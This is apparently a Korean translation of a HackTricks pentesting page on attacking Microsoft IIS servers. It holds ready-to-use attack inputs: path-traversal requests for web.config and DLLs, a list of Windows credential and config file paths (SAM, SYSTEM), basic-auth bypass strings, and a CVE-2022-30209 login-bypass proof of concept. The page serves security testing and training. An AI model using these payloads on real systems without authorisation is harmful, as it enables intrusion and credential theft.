IIS - Internet Information Services

제로부터 영웅이 될 때까지 AWS 해킹을 배우세요 htARTE (HackTricks AWS Red Team Expert)!

HackTricks를 지원하는 다른 방법:

WhiteIntel다크 웹을 활용한 검색 엔진으로, 무료 기능을 제공하여 회사나 그 고객이 스틸러 악성 코드에 의해 침해당했는지 확인할 수 있습니다.

WhiteIntel의 주요 목표는 정보 도난 악성 코드로 인한 계정 탈취 및 랜섬웨어 공격을 막는 것입니다.

그들의 웹사이트를 방문하여 무료로 엔진을 시험해 볼 수 있습니다:


테스트 가능한 실행 파일 확장자:

  • asp

  • aspx

  • config

  • php

내부 IP 주소 노출

302를 받는 모든 IIS 서버에서 Host 헤더를 제거하고 HTTP/1.0을 사용해보면 응답 내부의 Location 헤더가 내부 IP 주소를 가리킬 수 있습니다:

nc -v domain.com 80
openssl s_client -connect domain.com:443

내부 IP를 노출하는 응답:

GET / HTTP/1.0

HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016

.config 파일 실행

.config 파일을 업로드하고 코드를 실행하는 방법 중 하나는 파일 끝에 HTML 주석 안에 코드를 추가하는 것입니다: 여기에서 예제 다운로드

이 취약점을 악용하는 더 많은 정보 및 기술은 여기에서 확인할 수 있습니다.

IIS 탐지 브루트포스

다음으로 제작한 목록을 다운로드하세요:

이 목록은 다음 몁단의 내용을 병합하여 생성되었습니다:

https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt

확장자를 추가하지 않고 사용하십시오. 필요한 파일에는 이미 확장자가 포함되어 있습니다.

경로 이탈

소스 코드 노출

전체 설명은 여기에서 확인하십시오: https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html

요약하면, 응용 프로그램 폴더 내에 "assemblyIdentity" 파일과 "namespaces"에 대한 참조가 포함된 여러 web.config 파일이 있습니다. 이 정보를 통해 실행 파일이 어디에 있는지 알 수 있고 다운로드할 수 있습니다. 다운로드한 Dll에서는 새로운 namespaces를 찾을 수 있으며, 액세스하고 새로운 namespaces와 assemblyIdentity를 찾기 위해 web.config 파일에 액세스해야 합니다. 또한, 파일 connectionstrings.configglobal.asax에는 흥미로운 정보가 포함될 수 있습니다.\

.Net MVC 응용 프로그램에서 web.config 파일은 "assemblyIdentity" XML 태그를 통해 응용 프로그램이 의존하는 각 이진 파일을 지정하여 중요한 역할을 합니다.

이진 파일 탐색

아래는 web.config 파일에 액세스하는 예시입니다:

GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded

이 요청은 다양한 설정 및 종속성을 나타냅니다.

  • EntityFramework 버전

  • 웹페이지, 클라이언트 유효성 검사 및 JavaScript를 위한 AppSettings

  • 인증 및 런타임을 위한 System.web 구성

  • System.webServer 모듈 설정

  • Microsoft.Owin, Newtonsoft.Json, System.Web.Mvc와 같은 다양한 라이브러리를 위한 Runtime 어셈블리 바인딩

이러한 설정은 /bin/WebGrease.dll과 같은 특정 파일이 응용 프로그램의 /bin 폴더에 위치해 있음을 나타냅니다.

루트 디렉토리 파일

루트 디렉토리에 있는 파일들인 /global.asax/connectionstrings.config (민감한 암호를 포함하는 파일)은 응용 프로그램의 구성 및 작동에 필수적입니다.

네임스페이스 및 Web.Config

MVC 응용 프로그램은 각 파일에서 반복적인 선언을 피하기 위해 특정 네임스페이스를 위한 추가 web.config 파일을 정의합니다. 다른 web.config를 다운로드하는 요청을 통해 이를 확인할 수 있습니다.

GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded

DLL 다운로드

사용자 지정 네임스페이스 언급은 /bin 디렉토리에 있는 "WebApplication1"이라는 DLL을 나타냅니다. 이에 이어 WebApplication1.dll을 다운로드하는 요청이 표시됩니다:

GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded

이는 System.Web.Mvc.dllSystem.Web.Optimization.dll과 같은 다른 필수 DLL이 /bin 디렉토리에 존재할 가능성을 시사합니다.

DLL이 WebApplication1.Areas.Minded라는 네임스페이스를 가져오는 시나리오에서, 공격자는 **/area-name/Views/**와 같은 예측 가능한 경로에 다른 web.config 파일의 존재를 추론할 수 있으며, 해당 파일은 /bin 폴더에 있는 다른 DLL에 대한 특정 구성 및 참조를 포함할 수 있습니다. 예를 들어, /Minded/Views/web.config로의 요청은 다른 DLL인 WebApplication1.AdditionalFeatures.dll의 존재를 나타내는 구성 및 네임스페이스를 공개할 수 있습니다.

공통 파일

여기에서

C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml

HTTPAPI 2.0 404 에러

만약 다음과 같은 에러를 보게 된다면:

이는 서버가 올바른 도메인 이름을 Host 헤더 내에서 받지 못했음을 의미합니다. 웹 페이지에 접근하기 위해 제공된 SSL 인증서를 확인하고 거기서 도메인/서브도메인 이름을 찾을 수도 있습니다. 그곳에 없다면 올바른 것을 찾을 때까지 VHosts를 무차별 대입(brute force) 해야 할 수도 있습니다.

찾아볼 가치가 있는 오래된 IIS 취약점

Microsoft IIS 물결 문자 "~" 취약점/기능 - 짧은 파일/폴더 이름 노출

기법을 사용하여 발견된 각 폴더 내의 폴더와 파일을 열거해 볼 수 있습니다(기본 인증이 필요한 경우에도). 이 기법의 주요 제한 사항은 서버가 취약하다면 각 파일/폴더 이름의 처음 6자 및 파일의 확장자의 처음 3자까지만 찾을 수 있다는 것입니다.

이 취약점을 테스트하기 위해 https://github.com/irsdl/IIS-ShortName-Scanner를 사용할 수 있습니다:java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/

원본 연구: https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf

또한 metasploit을 사용할 수 있습니다: use scanner/http/iis_shortname_scanner

기본 인증 우회

기본 인증(IIS 7.5)을 우회하려면 다음을 시도해 보세요: /admin:$i30:$INDEX_ALLOCATION/admin.php 또는 /admin::$INDEX_ALLOCATION/admin.php

이 취약점과 마지막 취약점을 혼합하여 새로운 폴더를 찾고 인증을 우회할 수 있습니다.

ASP.NET Trace.AXD 디버깅 활성화

ASP.NET에는 디버깅 모드가 포함되어 있으며 해당 파일은 trace.axd입니다.

일정 기간 동안 응용 프로그램에 대해 수행된 모든 요청의 매우 상세한 로그를 유지합니다.

이 정보에는 원격 클라이언트 IP, 세션 ID, 모든 요청 및 응답 쿠키, 물리적 경로, 소스 코드 정보 및 아마도 사용자 이름과 비밀번호도 포함될 수 있습니다.

https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/

ASPXAUTH 쿠키

ASPXAUTH는 다음 정보를 사용합니다:

  • validationKey (문자열): 서명 유효성 검사에 사용할 16진수로 인코딩된 키.

  • decryptionMethod (문자열): (기본값 "AES").

  • decryptionIV (문자열): 16진수로 인코딩된 초기화 벡터(기본값은 0 벡터).

  • decryptionKey (문자열): 복호화에 사용할 16진수로 인코딩된 키.

그러나 일부 사람들은 이러한 매개변수의 기본값을 사용하고 사용자의 이메일을 쿠키로 사용할 수 있습니다. 따라서, ASPXAUTH 쿠키를 사용하고 있는 동일한 플랫폼을 사용하는 웹을 찾아 공격 대상 서버에서 사용자의 이메일로 사용자를 생성하면, 두 번째 서버의 쿠키를 첫 번째 서버에서 사용하여 사용자를 표현할 수 있을 수 있습니다. 이 공격은 이 기고문에서 작동했습니다.

캐시된 암호를 사용한 IIS 인증 우회(CVE-2022-30209)

전체 보고서 여기에서: 코드에서 사용자가 제공한 암호를 제대로 확인하지 않았기 때문에, 이미 캐시에 있는 키에 해당하는 암호 해시가 일치하는 공격자는 해당 사용자로서 로그인할 수 있게 될 것입니다.

# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j

assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')

# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized

# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK

WhiteIntel다크 웹을 활용한 검색 엔진으로, 회사나 그 고객이 스틸러 악성 소프트웨어에 의해 침해되었는지 확인하는 무료 기능을 제공합니다.

WhiteIntel의 주요 목표는 정보를 도난하는 악성 소프트웨어로 인한 계정 탈취와 랜섬웨어 공격을 막는 것입니다.

그들의 웹사이트를 방문하여 무료로 엔진을 시도해 볼 수 있습니다:

제로부터 영웅이 될 때까지 AWS 해킹을 배우세요 htARTE (HackTricks AWS Red Team Expert)!

HackTricks를 지원하는 다른 방법:

Last updated